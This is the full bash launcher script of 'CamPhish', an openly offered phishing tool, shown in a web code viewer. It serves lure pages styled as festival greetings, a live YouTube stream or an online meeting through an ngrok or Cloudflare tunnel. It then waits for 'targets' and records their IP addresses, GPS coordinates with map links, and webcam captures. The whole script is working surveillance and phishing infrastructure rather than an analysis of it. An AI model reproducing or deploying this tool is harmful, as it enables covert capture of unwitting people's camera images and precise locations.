Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
techchipnet
GitHub Repository: techchipnet/CamPhish
Path: blob/master/camphish.sh
1972 views
1
#!/bin/bash
2
# CamPhish v2.0
3
# Powered by TechChip
4
5
# Windows compatibility check
6
if [[ "$(uname -a)" == *"MINGW"* ]] || [[ "$(uname -a)" == *"MSYS"* ]] || [[ "$(uname -a)" == *"CYGWIN"* ]] || [[ "$(uname -a)" == *"Windows"* ]]; then
7
# We're on Windows
8
windows_mode=true
9
echo "Windows system detected. Some commands will be adapted for Windows compatibility."
10
11
# Define Windows-specific command replacements
12
function killall() {
13
taskkill /F /IM "$1" 2>/dev/null
14
}
15
16
function pkill() {
17
if [[ "$1" == "-f" ]]; then
18
shift
19
shift
20
taskkill /F /FI "IMAGENAME eq $1" 2>/dev/null
21
else
22
taskkill /F /IM "$1" 2>/dev/null
23
fi
24
}
25
else
26
windows_mode=false
27
fi
28
29
trap 'printf "\n";stop' 2
30
31
banner() {
32
clear
33
printf "\e[1;92m _______ _______ _______ \e[0m\e[1;77m_______ _________ _______ \e[0m\n"
34
printf "\e[1;92m ( ____ \( ___ )( )\e[0m\e[1;77m( ____ )|\ /|\__ __/( ____ \|\ /|\e[0m\n"
35
printf "\e[1;92m | ( \/| ( ) || () () |\e[0m\e[1;77m| ( )|| ) ( | ) ( | ( \/| ) ( |\e[0m\n"
36
printf "\e[1;92m | | | (___) || || || |\e[0m\e[1;77m| (____)|| (___) | | | | (_____ | (___) |\e[0m\n"
37
printf "\e[1;92m | | | ___ || |(_)| |\e[0m\e[1;77m| _____)| ___ | | | (_____ )| ___ |\e[0m\n"
38
printf "\e[1;92m | | | ( ) || | | |\e[0m\e[1;77m| ( | ( ) | | | ) || ( ) |\e[0m\n"
39
printf "\e[1;92m | (____/\| ) ( || ) ( |\e[0m\e[1;77m| ) | ) ( |___) (___/\____) || ) ( |\e[0m\n"
40
printf "\e[1;92m (_______/|/ \||/ \|\e[0m\e[1;77m|/ |/ \|\_______/\_______)|/ \|\e[0m\n"
41
printf " \e[1;93m CamPhish Ver 2.0 \e[0m \n"
42
printf " \e[1;77m www.techchip.net | youtube.com/techchipnet \e[0m \n"
43
44
printf "\n"
45
46
47
}
48
49
dependencies() {
50
command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }
51
}
52
53
stop() {
54
if [[ "$windows_mode" == true ]]; then
55
# Windows-specific process termination
56
taskkill /F /IM "ngrok.exe" 2>/dev/null
57
taskkill /F /IM "php.exe" 2>/dev/null
58
taskkill /F /IM "cloudflared.exe" 2>/dev/null
59
else
60
# Unix-like systems
61
checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
62
checkphp=$(ps aux | grep -o "php" | head -n1)
63
checkcloudflaretunnel=$(ps aux | grep -o "cloudflared" | head -n1)
64
65
if [[ $checkngrok == *'ngrok'* ]]; then
66
pkill -f -2 ngrok > /dev/null 2>&1
67
killall -2 ngrok > /dev/null 2>&1
68
fi
69
70
if [[ $checkphp == *'php'* ]]; then
71
killall -2 php > /dev/null 2>&1
72
fi
73
74
if [[ $checkcloudflaretunnel == *'cloudflared'* ]]; then
75
pkill -f -2 cloudflared > /dev/null 2>&1
76
killall -2 cloudflared > /dev/null 2>&1
77
fi
78
fi
79
80
exit 1
81
}
82
83
catch_ip() {
84
ip=$(grep -a 'IP:' ip.txt | cut -d " " -f2 | tr -d '\r')
85
IFS=$'\n'
86
printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] IP:\e[0m\e[1;77m %s\e[0m\n" $ip
87
88
cat ip.txt >> saved.ip.txt
89
}
90
91
catch_location() {
92
# First check for the current_location.txt file which is always created
93
if [[ -e "current_location.txt" ]]; then
94
printf "\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Current location data:\e[0m\n"
95
# Filter out unwanted messages before displaying
96
grep -v -E "Location data sent|getLocation called|Geolocation error|Location permission denied" current_location.txt
97
printf "\n"
98
99
# Move it to a backup to avoid duplicate display
100
mv current_location.txt current_location.bak
101
fi
102
103
# Then check for any location_* files
104
if [[ -e "location_"* ]]; then
105
location_file=$(ls location_* | head -n 1)
106
lat=$(grep -a 'Latitude:' "$location_file" | cut -d " " -f2 | tr -d '\r')
107
lon=$(grep -a 'Longitude:' "$location_file" | cut -d " " -f2 | tr -d '\r')
108
acc=$(grep -a 'Accuracy:' "$location_file" | cut -d " " -f2 | tr -d '\r')
109
maps_link=$(grep -a 'Google Maps:' "$location_file" | cut -d " " -f3 | tr -d '\r')
110
111
# Only display essential location data
112
printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Latitude:\e[0m\e[1;77m %s\e[0m\n" $lat
113
printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Longitude:\e[0m\e[1;77m %s\e[0m\n" $lon
114
printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Accuracy:\e[0m\e[1;77m %s meters\e[0m\n" $acc
115
printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Google Maps:\e[0m\e[1;77m %s\e[0m\n" $maps_link
116
117
# Create directory for saved locations if it doesn't exist
118
if [[ ! -d "saved_locations" ]]; then
119
mkdir -p saved_locations
120
fi
121
122
mv "$location_file" saved_locations/
123
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Location saved to saved_locations/%s\e[0m\n" "$location_file"
124
else
125
printf "\e[1;93m[\e[0m\e[1;77m!\e[0m\e[1;93m] No location file found\e[0m\n"
126
127
# Don't display any debug logs to avoid showing unwanted messages
128
fi
129
}
130
131
checkfound() {
132
# Create directory for saved locations if it doesn't exist
133
if [[ ! -d "saved_locations" ]]; then
134
mkdir -p saved_locations
135
fi
136
137
printf "\n"
138
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting targets,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n"
139
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] GPS Location tracking is \e[0m\e[1;93mACTIVE\e[0m\n"
140
while [ true ]; do
141
142
if [[ -e "ip.txt" ]]; then
143
printf "\n\e[1;92m[\e[0m+\e[1;92m] Target opened the link!\n"
144
catch_ip
145
rm -rf ip.txt
146
fi
147
148
sleep 0.5
149
150
# Check for current_location.txt first (our new immediate indicator)
151
if [[ -e "current_location.txt" ]]; then
152
printf "\n\e[1;92m[\e[0m+\e[1;92m] Location data received!\e[0m\n"
153
catch_location
154
fi
155
156
# Also check for LocationLog.log (the original indicator)
157
if [[ -e "LocationLog.log" ]]; then
158
printf "\n\e[1;92m[\e[0m+\e[1;92m] Location data received!\e[0m\n"
159
# Don't display the raw log content, just process it
160
catch_location
161
rm -rf LocationLog.log
162
fi
163
164
# Don't display error logs to avoid showing unwanted messages
165
if [[ -e "LocationError.log" ]]; then
166
# Just remove the file without displaying its contents
167
rm -rf LocationError.log
168
fi
169
170
if [[ -e "Log.log" ]]; then
171
printf "\n\e[1;92m[\e[0m+\e[1;92m] Cam file received!\e[0m\n"
172
rm -rf Log.log
173
fi
174
sleep 0.5
175
176
done
177
}
178
179
cloudflare_tunnel() {
180
if [[ -e cloudflared ]] || [[ -e cloudflared.exe ]]; then
181
echo ""
182
else
183
command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
184
command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
185
printf "\e[1;92m[\e[0m+\e[1;92m] Downloading Cloudflared...\n"
186
187
# Detect architecture
188
arch=$(uname -m)
189
os=$(uname -s)
190
printf "\e[1;92m[\e[0m+\e[1;92m] Detected OS: $os, Architecture: $arch\n"
191
192
# Windows detection
193
if [[ "$windows_mode" == true ]]; then
194
printf "\e[1;92m[\e[0m+\e[1;92m] Windows detected, downloading Windows binary...\n"
195
wget --no-check-certificate https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -O cloudflared.exe > /dev/null 2>&1
196
if [[ -e cloudflared.exe ]]; then
197
chmod +x cloudflared.exe
198
# Create a wrapper script to run the exe
199
echo '#!/bin/bash' > cloudflared
200
echo './cloudflared.exe "$@"' >> cloudflared
201
chmod +x cloudflared
202
else
203
printf "\e[1;93m[!] Download error... \e[0m\n"
204
exit 1
205
fi
206
else
207
# Non-Windows systems
208
# macOS detection
209
if [[ "$os" == "Darwin" ]]; then
210
printf "\e[1;92m[\e[0m+\e[1;92m] macOS detected...\n"
211
if [[ "$arch" == "arm64" ]]; then
212
printf "\e[1;92m[\e[0m+\e[1;92m] Apple Silicon (M1/M2/M3) detected...\n"
213
wget --no-check-certificate https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-arm64.tgz -O cloudflared.tgz > /dev/null 2>&1
214
else
215
printf "\e[1;92m[\e[0m+\e[1;92m] Intel Mac detected...\n"
216
wget --no-check-certificate https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz -O cloudflared.tgz > /dev/null 2>&1
217
fi
218
219
if [[ -e cloudflared.tgz ]]; then
220
tar -xzf cloudflared.tgz > /dev/null 2>&1
221
chmod +x cloudflared
222
rm cloudflared.tgz
223
else
224
printf "\e[1;93m[!] Download error... \e[0m\n"
225
exit 1
226
fi
227
# Linux and other Unix-like systems
228
else
229
case "$arch" in
230
"x86_64")
231
printf "\e[1;92m[\e[0m+\e[1;92m] x86_64 architecture detected...\n"
232
wget --no-check-certificate https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 -O cloudflared > /dev/null 2>&1
233
;;
234
"i686"|"i386")
235
printf "\e[1;92m[\e[0m+\e[1;92m] x86 32-bit architecture detected...\n"
236
wget --no-check-certificate https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386 -O cloudflared > /dev/null 2>&1
237
;;
238
"aarch64"|"arm64")
239
printf "\e[1;92m[\e[0m+\e[1;92m] ARM64 architecture detected...\n"
240
wget --no-check-certificate https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64 -O cloudflared > /dev/null 2>&1
241
;;
242
"armv7l"|"armv6l"|"arm")
243
printf "\e[1;92m[\e[0m+\e[1;92m] ARM architecture detected...\n"
244
wget --no-check-certificate https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm -O cloudflared > /dev/null 2>&1
245
;;
246
*)
247
printf "\e[1;92m[\e[0m+\e[1;92m] Architecture not specifically detected ($arch), defaulting to amd64...\n"
248
wget --no-check-certificate https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 -O cloudflared > /dev/null 2>&1
249
;;
250
esac
251
252
if [[ -e cloudflared ]]; then
253
chmod +x cloudflared
254
else
255
printf "\e[1;93m[!] Download error... \e[0m\n"
256
exit 1
257
fi
258
fi
259
fi
260
fi
261
262
printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server...\n"
263
php -S 127.0.0.1:3333 > /dev/null 2>&1 &
264
sleep 2
265
printf "\e[1;92m[\e[0m+\e[1;92m] Starting cloudflared tunnel...\n"
266
rm -rf .cloudflared.log > /dev/null 2>&1 &
267
268
if [[ "$windows_mode" == true ]]; then
269
./cloudflared.exe tunnel -url 127.0.0.1:3333 --logfile .cloudflared.log > /dev/null 2>&1 &
270
else
271
./cloudflared tunnel -url 127.0.0.1:3333 --logfile .cloudflared.log > /dev/null 2>&1 &
272
fi
273
274
sleep 10
275
link=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".cloudflared.log")
276
if [[ -z "$link" ]]; then
277
printf "\e[1;31m[!] Direct link is not generating, check following possible reason \e[0m\n"
278
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m CloudFlare tunnel service might be down\n"
279
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m If you are using android, turn hotspot on\n"
280
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m CloudFlared is already running, run this command killall cloudflared\n"
281
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m Check your internet connection\n"
282
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m Try running: ./cloudflared tunnel --url 127.0.0.1:3333 to see specific errors\n"
283
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m On Windows, try running: cloudflared.exe tunnel --url 127.0.0.1:3333\n"
284
exit 1
285
else
286
printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link
287
fi
288
payload_cloudflare
289
checkfound
290
}
291
292
payload_cloudflare() {
293
link=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".cloudflared.log")
294
sed 's+forwarding_link+'$link'+g' template.php > index.php
295
if [[ $option_tem -eq 1 ]]; then
296
sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html
297
sed 's+fes_name+'$fest_name'+g' index3.html > index2.html
298
elif [[ $option_tem -eq 2 ]]; then
299
sed 's+forwarding_link+'$link'+g' LiveYTTV.html > index3.html
300
sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html
301
else
302
sed 's+forwarding_link+'$link'+g' OnlineMeeting.html > index2.html
303
fi
304
rm -rf index3.html
305
}
306
307
ngrok_server() {
308
if [[ -e ngrok ]] || [[ -e ngrok.exe ]]; then
309
echo ""
310
else
311
command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
312
command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
313
printf "\e[1;92m[\e[0m+\e[1;92m] Downloading Ngrok...\n"
314
315
# Detect architecture
316
arch=$(uname -m)
317
os=$(uname -s)
318
printf "\e[1;92m[\e[0m+\e[1;92m] Detected OS: $os, Architecture: $arch\n"
319
320
# Windows detection
321
if [[ "$windows_mode" == true ]]; then
322
printf "\e[1;92m[\e[0m+\e[1;92m] Windows detected, downloading Windows binary...\n"
323
wget --no-check-certificate https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip -O ngrok.zip > /dev/null 2>&1
324
if [[ -e ngrok.zip ]]; then
325
unzip ngrok.zip > /dev/null 2>&1
326
chmod +x ngrok.exe
327
rm -rf ngrok.zip
328
else
329
printf "\e[1;93m[!] Download error... \e[0m\n"
330
exit 1
331
fi
332
else
333
# macOS detection
334
if [[ "$os" == "Darwin" ]]; then
335
printf "\e[1;92m[\e[0m+\e[1;92m] macOS detected...\n"
336
if [[ "$arch" == "arm64" ]]; then
337
printf "\e[1;92m[\e[0m+\e[1;92m] Apple Silicon (M1/M2/M3) detected...\n"
338
wget --no-check-certificate https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-darwin-arm64.zip -O ngrok.zip > /dev/null 2>&1
339
else
340
printf "\e[1;92m[\e[0m+\e[1;92m] Intel Mac detected...\n"
341
wget --no-check-certificate https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-darwin-amd64.zip -O ngrok.zip > /dev/null 2>&1
342
fi
343
344
if [[ -e ngrok.zip ]]; then
345
unzip ngrok.zip > /dev/null 2>&1
346
chmod +x ngrok
347
rm -rf ngrok.zip
348
else
349
printf "\e[1;93m[!] Download error... \e[0m\n"
350
exit 1
351
fi
352
# Linux and other Unix-like systems
353
else
354
case "$arch" in
355
"x86_64")
356
printf "\e[1;92m[\e[0m+\e[1;92m] x86_64 architecture detected...\n"
357
wget --no-check-certificate https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.zip -O ngrok.zip > /dev/null 2>&1
358
;;
359
"i686"|"i386")
360
printf "\e[1;92m[\e[0m+\e[1;92m] x86 32-bit architecture detected...\n"
361
wget --no-check-certificate https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-386.zip -O ngrok.zip > /dev/null 2>&1
362
;;
363
"aarch64"|"arm64")
364
printf "\e[1;92m[\e[0m+\e[1;92m] ARM64 architecture detected...\n"
365
wget --no-check-certificate https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm64.zip -O ngrok.zip > /dev/null 2>&1
366
;;
367
"armv7l"|"armv6l"|"arm")
368
printf "\e[1;92m[\e[0m+\e[1;92m] ARM architecture detected...\n"
369
wget --no-check-certificate https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm.zip -O ngrok.zip > /dev/null 2>&1
370
;;
371
*)
372
printf "\e[1;92m[\e[0m+\e[1;92m] Architecture not specifically detected ($arch), defaulting to amd64...\n"
373
wget --no-check-certificate https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.zip -O ngrok.zip > /dev/null 2>&1
374
;;
375
esac
376
377
if [[ -e ngrok.zip ]]; then
378
unzip ngrok.zip > /dev/null 2>&1
379
chmod +x ngrok
380
rm -rf ngrok.zip
381
else
382
printf "\e[1;93m[!] Download error... \e[0m\n"
383
exit 1
384
fi
385
fi
386
fi
387
fi
388
389
# Ngrok auth token handling
390
if [[ "$windows_mode" == true ]]; then
391
if [[ -e "$USERPROFILE\.ngrok2\ngrok.yml" ]]; then
392
printf "\e[1;93m[\e[0m*\e[1;93m] your ngrok "
393
cat "$USERPROFILE\.ngrok2\ngrok.yml"
394
read -p $'\n\e[1;92m[\e[0m+\e[1;92m] Do you want to change your ngrok authtoken? [Y/n]:\e[0m ' chg_token
395
if [[ $chg_token == "Y" || $chg_token == "y" || $chg_token == "Yes" || $chg_token == "yes" ]]; then
396
read -p $'\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter your valid ngrok authtoken: \e[0m' ngrok_auth
397
./ngrok.exe authtoken $ngrok_auth > /dev/null 2>&1 &
398
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93mAuthtoken has been changed\n"
399
fi
400
else
401
read -p $'\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter your valid ngrok authtoken: \e[0m' ngrok_auth
402
./ngrok.exe authtoken $ngrok_auth > /dev/null 2>&1 &
403
fi
404
printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server...\n"
405
php -S 127.0.0.1:3333 > /dev/null 2>&1 &
406
sleep 2
407
printf "\e[1;92m[\e[0m+\e[1;92m] Starting ngrok server...\n"
408
./ngrok.exe http 3333 > /dev/null 2>&1 &
409
else
410
if [[ -e ~/.ngrok2/ngrok.yml ]]; then
411
printf "\e[1;93m[\e[0m*\e[1;93m] your ngrok "
412
cat ~/.ngrok2/ngrok.yml
413
read -p $'\n\e[1;92m[\e[0m+\e[1;92m] Do you want to change your ngrok authtoken? [Y/n]:\e[0m ' chg_token
414
if [[ $chg_token == "Y" || $chg_token == "y" || $chg_token == "Yes" || $chg_token == "yes" ]]; then
415
read -p $'\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter your valid ngrok authtoken: \e[0m' ngrok_auth
416
./ngrok authtoken $ngrok_auth > /dev/null 2>&1 &
417
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93mAuthtoken has been changed\n"
418
fi
419
else
420
read -p $'\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter your valid ngrok authtoken: \e[0m' ngrok_auth
421
./ngrok authtoken $ngrok_auth > /dev/null 2>&1 &
422
fi
423
printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server...\n"
424
php -S 127.0.0.1:3333 > /dev/null 2>&1 &
425
sleep 2
426
printf "\e[1;92m[\e[0m+\e[1;92m] Starting ngrok server...\n"
427
./ngrok http 3333 > /dev/null 2>&1 &
428
fi
429
430
sleep 10
431
432
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^/"]*\.ngrok-free.app')
433
if [[ -z "$link" ]]; then
434
printf "\e[1;31m[!] Direct link is not generating, check following possible reason \e[0m\n"
435
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m Ngrok authtoken is not valid\n"
436
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m If you are using android, turn hotspot on\n"
437
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m Ngrok is already running, run this command killall ngrok\n"
438
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m Check your internet connection\n"
439
printf "\e[1;92m[\e[0m*\e[1;92m] \e[0m\e[1;93m Try running ngrok manually: ./ngrok http 3333\n"
440
exit 1
441
else
442
printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link
443
fi
444
payload_ngrok
445
checkfound
446
}
447
448
payload_ngrok() {
449
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^/"]*\.ngrok-free.app')
450
sed 's+forwarding_link+'$link'+g' template.php > index.php
451
if [[ $option_tem -eq 1 ]]; then
452
sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html
453
sed 's+fes_name+'$fest_name'+g' index3.html > index2.html
454
elif [[ $option_tem -eq 2 ]]; then
455
sed 's+forwarding_link+'$link'+g' LiveYTTV.html > index3.html
456
sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html
457
else
458
sed 's+forwarding_link+'$link'+g' OnlineMeeting.html > index2.html
459
fi
460
rm -rf index3.html
461
}
462
463
camphish() {
464
if [[ -e sendlink ]]; then
465
rm -rf sendlink
466
fi
467
468
printf "\n-----Choose tunnel server----\n"
469
printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n"
470
printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m CloudFlare Tunnel\e[0m\n"
471
default_option_server="1"
472
read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a Port Forwarding option: [Default is 1] \e[0m' option_server
473
option_server="${option_server:-${default_option_server}}"
474
select_template
475
476
if [[ $option_server -eq 2 ]]; then
477
cloudflare_tunnel
478
elif [[ $option_server -eq 1 ]]; then
479
ngrok_server
480
else
481
printf "\e[1;93m [!] Invalid option!\e[0m\n"
482
sleep 1
483
clear
484
camphish
485
fi
486
}
487
488
select_template() {
489
if [ $option_server -gt 2 ] || [ $option_server -lt 1 ]; then
490
printf "\e[1;93m [!] Invalid tunnel option! try again\e[0m\n"
491
sleep 1
492
clear
493
banner
494
camphish
495
else
496
printf "\n-----Choose a template----\n"
497
printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Festival Wishing\e[0m\n"
498
printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Live Youtube TV\e[0m\n"
499
printf "\e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Online Meeting\e[0m\n"
500
default_option_template="1"
501
read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a template: [Default is 1] \e[0m' option_tem
502
option_tem="${option_tem:-${default_option_template}}"
503
if [[ $option_tem -eq 1 ]]; then
504
read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter festival name: \e[0m' fest_name
505
fest_name="${fest_name//[[:space:]]/}"
506
elif [[ $option_tem -eq 2 ]]; then
507
read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter YouTube video watch ID: \e[0m' yt_video_ID
508
elif [[ $option_tem -eq 3 ]]; then
509
printf ""
510
else
511
printf "\e[1;93m [!] Invalid template option! try again\e[0m\n"
512
sleep 1
513
select_template
514
fi
515
fi
516
}
517
518
banner
519
dependencies
520
camphish
521
522